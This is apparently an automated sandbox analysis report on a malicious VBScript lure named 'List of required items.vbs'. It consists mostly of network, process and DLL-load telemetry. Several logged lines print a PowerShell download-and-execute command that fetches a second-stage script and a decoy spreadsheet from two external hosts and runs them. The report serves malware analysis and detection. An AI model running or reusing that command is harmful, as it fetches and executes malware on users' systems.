Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 68.66.226.116:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.95.216.175:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.123.243.179:443 -> 192.168.2.8:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49742 version: TLS 1.2

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx'
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx'			Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_00007FFB4AE553D8

2_2_00007FFB4AE553D8

Source: classification engine

Classification label: mal88.expl.evad.winVBS@9/11@2/5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\s5wu2avs.xlsx

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1992:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x0vr45gr.mcb.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\List of required items.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\List of required items.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Public\s5wu2avs.xlsx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 8192
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Public\s5wu2avs.xlsx"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 8192	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office

Jump to behavior

Source:

Binary string: \mscorlib.pdb source: powershell.exe, 00000002.00000002.2825512178.00000232BA08A000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

